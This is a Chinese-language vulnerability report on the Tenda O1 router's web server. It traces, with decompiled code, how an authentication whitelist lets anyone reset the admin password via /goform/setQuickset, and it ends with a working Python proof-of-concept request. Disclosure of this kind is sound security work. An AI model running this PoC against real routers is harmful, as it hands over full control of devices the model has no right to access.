Tenda O1 httpd /goform/setQuickset 函数未认证重置密码漏洞

产品信息

```
品牌：Tenda（腾达）
型号：O1
固件版本：V1.0.0.12
官网：https://www.tenda.com.cn
固件下载链接：https://www.tenda.com.cn/store/products/146#downloads
```

受影响组件

```
httpd（Web 服务主程序）中的 /goform/setQuickset 接口
```

建议的漏洞描述

```
Tenda O1 V1.0.0.12 的 httpd 程序在 authSecurityHandler 鉴权函数中，将
/password.html
页面与 /goform/setQuickset 接口无条件列入免认证白名单；其中 fromQuicksetSet 函数
未校验登录态即把请求中的 password 参数写入管理员口令（sys.userpass）。攻击者可在
未认证的情况下访问口令设置页面并直接修改管理员口令，从而完全接管设备，存在
未授权访问（未授权修改管理员口令）漏洞。
```

漏洞详情

本固件（Tenda O1，GoAhead 3.3.0 深度定制）的鉴权集中在 `authSecurityHandler` 函数（0x004A76AC）中，该函数在每一次路由分发前执行（`websRouteRequest` 第 11280 行 `if ( authSecurityHandler(wp) )`）。它基于**源 IP 登录跟踪表** `loginUserInfo[10]` 判断会话：命中白名单的 URL 直接 `return 1` 放行，其余请求跳转登录页并 `return 0` 阻断。

漏洞源头是 `authSecurityHandler` 中的**免认证白名单**，其中 `/password.html` 与 `/goform/setQuickset` 均被无条件放行：

```
// authSecurityHandler (0x004A76AC) 中的白名单判断
if ( !strcmp(urlbuf, "/favicon.ico")
  || !strncmp(urlbuf, "/goform/usbTest", 0x100u)
  || !strncmp(urlbuf, "/lang", 0x100u)
  || !strncmp(urlbuf, "/goform/getAdStatistics", 0x100u)
  || !strncmp(urlbuf, "/disable.asp", 0x100u)
  || !strncmp(g_default_pass, g_Pass_0, 0x80u) && !strncmp(urlbuf,
"/goform/telnet", 0x100u)
  || !strncmp(urlbuf, "/goform/getLoginInfo", 0x100u)
  || !strncmp(urlbuf, "/goform/getSysLogin", 0x100u)
  || !strncmp(urlbuf, "/goform/getQuickset", 0x100u)
  || !strncmp(urlbuf, "/goform/setQuickset", 0x100u)   // ←
/goform/setQuickset 免认证
  || !strncmp(urlbuf, "/password.html", 0xEu)          // ← /password.html
免认证
  || !strncmp(urlbuf, "/preTimeout.asp", 0x100u)
```

```
  || !strncmp(urlbuf, "/timeout.asp", 0x100u)
  || !strncmp(urlbuf, "/goform/getPreTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/getTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/ackPreTimeoutNotify", 0x100u)
  || !strncmp(urlbuf, "/goform/ate", 0x100u) )
{
  return 1;   // ← 直接放行进入路由分发，全程不检查登录态 / 会话
}
```

其中 `/password.html` 是管理员口令设置页（当 `sys.userpass` 为空或口令强度不满足要求时，`old_initWebs` 会把登录页 `loginpage` 设为 `password.html`）。该页面及其配套的写入口令动作 `/goform/setQuickset` 均被上述白名单放行，导致整个"设置管理员口令"的流程无需任何认证即可完成。

`/goform/setQuickset` 对应的处理函数 `fromQuicksetSet`（0x0045B338）将请求中的 `password` 参数直接写入管理员口令，且函数体内**没有任何鉴权判断**：

```
void __cdecl fromQuicksetSet(webs_t wp, char_t *path, char_t *query)
{
  ...
  new_pwd = websGetVar((Webs_1 *)wp, "password", byte_4B81C4);   // ← 用户可控 source
  GetValue("sys.userpass", old_pwd);
  if ( prod_check_password(new_pwd) )                           // ← 仅校验口令复杂度
  {
    // 口令格式不合规 -> errCode = 1
  }
  else
  {
    if ( *new_pwd )
    {
      new_pwd_encrypt = websEncode64(new_pwd);                  // base64 编码
      if ( new_pwd_encrypt )
      {
        if ( strcmp(old_pwd, new_pwd_encrypt) )
        {
          SetValue("sys.userpass", new_pwd_encrypt);            // ← sink：写入管理员口令
          administrator_username_compat_set();
          getwebuserpwd(0);
          for ( i = 0; i < 10; ++i )                            // 仅清空本 IP 的登录表项
            if ( !strcmp(loginUserInfo[i].ip, wp->ipaddr) )
              memset(&loginUserInfo[i], 0, 0x20u);
          CommitCfm();                                          // ← 持久化到 NVRAM
        }
        free(new_pwd_encrypt);
      }
    }
    ...
  }
}
```

即请求参数 `password`（用户可控）经过 `websEncode64` 编码后，被 `SetValue("sys.userpass", ...)` 写入管理员口令并 `CommitCfm()` 持久化。所谓"校验函数" `prod_check_password` 只检查**口令复杂度**，不是鉴权：

```
int __cdecl prod_check_password(const char *password)
{
  // 只统计是否包含大写 / 小写 / 数字 / 特殊字符（!#$%&*+,-.:;=@^_）
  ...
  if ( length < 8 || length >= 33 )   // 长度 8~32
    return -1;
  if ( has_upper + has_lower + has_digit + has_special_char >= 3 )  // 至少 3 类
    return 0;
  return -1;
}
```

它不校验调用者身份、不校验 token/session、不校验 CSRF，只要口令满足"8~32 位且至少含 3 类字符"即可被接受。攻击者只需构造一个符合复杂度要求的口令即可完成未授权修改。

完整数据流如下：

```
攻击者 POST /goform/setQuickset   (body: password=Admin@12345)
    └── websRouteRequest()                          [0x00431190]  路由分发入口
        └── authSecurityHandler()                   [0x004A76AC]  鉴权门禁
            └── strncmp(urlbuf, "/goform/setQuickset") 命中白名单 -> return 1（未鉴权放行）
        └── actionHandler()                         [0x00406DA0]  /goform 动作分发
            └── fromQuicksetSet(wp, "setQuickset", query)  [0x0045B338]
                └── new_pwd = websGetVar(wp, "password", "")   ← source（用户可控）
                    └── prod_check_password(new_pwd)           ← checks（仅复杂度，无鉴权）
                        └── new_pwd_encrypt = websEncode64(new_pwd)
                            └── SetValue("sys.userpass", new_pwd_encrypt)  ← sink
                                └── CommitCfm()                ← 持久化生效
```

涉及的校验函数如下：

```
- prod_check_password()：仅校验口令长度（8~32）与字符类别（≥3 类），属于口令复杂度校验，
  完全不校验"调用者是否已登录 / 是否具备管理员权限 / 是否携带有效会话令牌"。
- authSecurityHandler()：作为鉴权门禁本应拦截未认证请求，却把 /password.html 与
  /goform/setQuickset 无条件列入白名单直接放行，是漏洞成立的根因。
```

攻击方式

攻击者在未登录、未持有任何凭据的情况下，先直接访问 `/password.html` 确认口令设置页可匿名访问；随后向 `/goform/setQuickset` 提交一个符合复杂度要求的新口令，`fromQuicksetSet` 即把该口令写入 `sys.userpass` 并提交到 NVRAM。完成修改后，攻击者凭自己设置的（base64 编码后的）口令通过 `/login/Auth` 登录，获得管理员权限，实现设备完全接管。

攻击步骤：

1. 未认证访问口令设置页 `GET /password.html`，页面无需跳转登录即可返回。
2. 未认证提交新口令 `POST /goform/setQuickset`（`password=Admin@12345`），接口返回 `{"errCode":"0"}`，管理员口令被改写。
3. 使用新口令登录 `/login/Auth`，进入管理界面。

PoC

本漏洞为**认证前（未认证）**漏洞，全程无需任何 Token / Cookie。

未认证修改管理员口令：

```
import requests

url = "http://192.168.31.6/goform/setQuickset"

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    # Host 头由 requests 自动根据 url 生成，一般无需手动设置
}

data = {
    "password": "Admin@789",
}

resp = requests.post(url, headers=headers, data=data, timeout=10)

print("状态码:", resp.status_code)
print("响应头:", resp.headers)
print("响应体:", resp.text)
```

（响应为 `{"errCode":"0"}`，表示口令修改成功。）

可使用新的密码登录管理设备。

发现者

Zippy